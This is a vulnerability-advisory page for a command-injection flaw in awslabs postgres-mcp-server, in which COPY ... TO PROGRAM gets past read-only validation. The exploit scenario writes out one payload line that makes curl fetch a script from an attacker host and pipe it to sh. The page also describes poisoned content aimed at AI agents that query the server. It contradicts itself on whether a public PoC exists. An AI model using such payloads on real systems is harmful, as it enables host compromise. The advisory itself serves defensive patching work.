Skip to main content

postgres-mcp-server CVE-2026-87911

| EUVDEUVD-2026-75127 CRITICAL
OS Command Injection (CWE-78)
2026-09-09 ff89ba41-3aa1-4d27-914a-91399e9639e5
9.0
CVSS 4.0 · Vendor: ff89ba41-3aa1-4d27-914a-91399e9639e5
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Plant crafted COPY TO PROGRAM in content
  2. Delivery
    Authenticated user queries MCP server
  3. Exploit
    Read-only validation fails to block COPY
  4. Execution
    Statement reaches self-managed PostgreSQL
  5. Persist
    PROGRAM clause spawns shell as postgres user
  6. Impact
    Arbitrary command execution on DB host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires the target to run awslabs postgres-mcp-server before 1.1.7 connected to a self-managed PostgreSQL server whose database account can invoke COPY ... TO PROGRAM (i.e. superuser or pg_execute_server_program privileges - managed services like RDS/Aurora that disable this are not exploitable). Exploitation proceeds even in the default read-only mode. Limiting factors: the malicious COPY statement only executes when an authenticated user (or agent) interacts with the MCP server on attacker-influenced content (CVSS UI:P), and a specific attack precondition must be met (CVSS AT:P), so this is an indirect/content-poisoning vector rather than a direct unauthenticated network hit.

Impact

The supplied CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:N/UI:P, base 9.0) with VC/VI/VA:H and subsequent-system SC/SI/SA:H reflects full host compromise, but two metrics materially temper real-world risk: UI:P (a legitimate authenticated user must interact with the MCP server on the poisoned content) and AT:P (a specific attack requirement/precondition must hold). This is not a straight unauthenticated internet-facing RCE - PR:N describes the actor who plants the crafted COPY statement, while the payload only fires when an authorized user or agent processes that content, making it an indirect / data-poisoning style vector well suited to AI-agent workflows. No EPSS score, KEV listing, or POC was provided, so there is no evidence of active exploitation or a published exploit. It is a genuine RCE worth prompt patching given the trivial COPY TO PROGRAM technique, but the required user interaction, the self-managed-PostgreSQL precondition, and the relatively narrow deployment footprint place it below internet-scale wormable threats.

Exploit ScenarioDerived

An attacker seeds a data source, document, or prompt with a crafted COPY (SELECT 1) TO PROGRAM 'curl attacker/x|sh' statement. When an authenticated user or AI agent later queries the postgres-mcp-server in its default read-only mode, the validation layer passes the COPY statement to the self-managed PostgreSQL server, which executes the shell command as the postgres OS user - giving the attacker code execution on the database host. No public exploit code was identified, but the underlying COPY TO PROGRAM technique is well known.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
1 PoC candidate (unverified) Patch available 1.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 09, 2026

Remote code execution in Amazon awslabs postgres-mcp-server before 1.1.7 lets remote actors run arbitrary OS commands on the host of a self-managed PostgreSQL server, even in the server's default read-only mode. The read-only enforcement in the SQL validation component fails to reject PostgreSQL's COPY ... TO PROGRAM construct, so a crafted statement embedded in content processed when an authenticated user interacts with the MCP server executes shell commands on the database host. No public exploit identified at time of analysis; the flaw is fixed in 1.1.7 and documented in AWS bulletin 2026-104 and GHSA-fph8-pg5w-78fv.

RemediationAI

Vendor-released patch: 1.1.7. Upgrade the awslabs.postgres-mcp-server package to 1.1.7 or later (e.g. pip install --upgrade 'awslabs.postgres-mcp-server>=1.1.7') as the primary fix, per AWS bulletin 2026-104 and GHSA-fph8-pg5w-78fv. As compensating controls until patched: run the connected PostgreSQL under a low-privilege role that lacks pg_execute_server_program / superuser so COPY TO PROGRAM is rejected by the database itself (trade-off: verify no legitimate workflow relies on COPY TO/FROM PROGRAM); prefer managed PostgreSQL (e.g. Amazon RDS/Aurora) where COPY TO PROGRAM is disabled (trade-off: not applicable to existing self-managed deployments); and treat/sanitize any external content fed into the MCP server so untrusted COPY ... TO PROGRAM statements cannot reach the validator (trade-off: hard to enforce reliably, which is why upgrading is preferred).

Affected VersionsENISA

AWS Labs postgres MCP Server 0 <1.1.7

Affected Packages

euvd aws_labs_postgres_mcp_server fix: 1.1.7

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The component is an MCP (Model Context Protocol) server published by awslabs (Amazon) that exposes a PostgreSQL database to AI/agent clients, advertising a default read-only mode enforced by a SQL validation layer. The root cause (CWE-78, OS Command Injection) is that this validation does not account for PostgreSQL's COPY ... TO PROGRAM feature, which by design pipes query output to an arbitrary shell command executed by the postgres OS account on a self-managed server. Because the read-only classifier treats COPY as a benign/read operation, a statement like COPY (SELECT 1) TO PROGRAM 'command' slips past the guardrail and reaches the database, converting a SQL surface into host command execution. This is the classic COPY TO PROGRAM RCE primitive, made reachable here through the MCP tool interface rather than a direct psql session.

Know when PostgreSQL gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (ff89ba41-3aa1-4d27-914a-91399e9639e5) PRIMARY 9.0 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
vuln.today AI 9.6 CRITICAL

Attacker plants content remotely (AV:N/PR:N) but payload fires only when a legitimate user interacts (UI:R); MCP validation flaw yields command execution on the separate PostgreSQL host (S:C, C/I/A:H).

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (ff89ba41-3aa1-4d27-914a-91399e9639e5).

CVSS VectorVendor: ff89ba41-3aa1-4d27-914a-91399e9639e5

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

2
Patch available
Sep 09, 2026 - 20:49 EUVD
CVE Published
Sep 09, 2026 - 20:21 cve.org
CRITICAL 9.0

DescriptionCVE.org

An OS command injection weakness in the read-only enforcement of the SQL validation component in Amazon awslabs postgres-mcp-server before 1.1.7 might allow an unauthenticated actor to execute operating system commands on the host of a self-managed PostgreSQL server by placing a crafted COPY ... TO PROGRAM statement into content that is processed when an authenticated user interacts with the MCP server in its default read-only mode.

To remediate this issue, users should upgrade to version 1.1.7 or later.

Technical POC Analysis

The vulnerable component is the SQL validation / read-only enforcement logic in awslabs.postgres-mcp-server before 1.1.7.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Latest POC

1 PoC candidate from github (unverified)

Sign in to open the public PoC links collected for this CVE.

Executive ViewAI

Why It Matters

Amazon's postgres-mcp-server before version 1.1.7 contains a critical SQL validation bypass that allows authenticated users to execute arbitrary operating system commands on PostgreSQL database hosts. Organizations deploying this MCP server face remote code execution risk on their database infrastructure, potentially enabling unauthorized data access, system compromise, or service disruption even when read-only mode is configured.

Business Impact: Severe
Compensating Controls

Apply vendor patch (version 1.1.7 or later). Until patching is complete, restrict network access to postgres-mcp-server to known trusted application endpoints and disable the service if not actively required.

Threat Intelligence Overview

EPSS Score
1.0%
Top 40% exploitable
Prevalence
Low
niche AWS MCP server for AI agents, limited production footprint
Social Media
2
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 1.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

66
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +45
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2025-1094 HIGH POC
8.1 Feb 13

PostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() improperl

CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2013-1899 MEDIUM POC
6.5 Apr 04

Argument injection vulnerability in PostgreSQL 9.2.x before 9.2.4, 9.1.x before 9.1.9, and 9.0.x before 9.0.13 allows re

CVE-2026-20253 CRITICAL POC
9.8 Jun 10

Unauthenticated arbitrary file write in Splunk Enterprise (below 10.2.4 and 10.0.7) and Splunk Cloud Platform (below 10.

CVE-2026-9586 CRITICAL POC
9.3 Jul 17

Unauthenticated SQL injection in Sangoma Switchvox SMB Edition 8.3 (build 104997) lets remote attackers execute arbitrar

CVE-2017-7546 CRITICAL
9.8 Aug 16

PostgreSQL versions before 9.2.22, 9.3.18, 9.4.13, 9.5.8 and 9.6.4 are vulnerable to incorrect authentication flaw allow

CVE-2015-1352 MEDIUM POC
5.0 Mar 30

The build_tablename function in pgsql.c in the PostgreSQL (aka pgsql) extension in PHP through 5.6.7 does not validate t

CVE-2024-10553 CRITICAL POC
9.8 Mar 20

A vulnerability in the h2oai/h2o-3 REST API versions 3.46.0.4 allows unauthenticated remote attackers to execute arbitra

CVE-2019-9193 HIGH POC
7.2 Apr 01

In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_serve

CVE-2026-40887 CRITICAL POC
9.1 Apr 14

Unauthenticated SQL injection in Vendure Shop API allows remote attackers to execute arbitrary SQL commands against the

CVE-2022-24760 CRITICAL POC
10.0 Mar 12

Parse Server is an open source http web server backend. Rated critical severity (CVSS 10.0), this vulnerability is remot

CVE-2025-56157 CRITICAL POC
9.8 Dec 18

Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy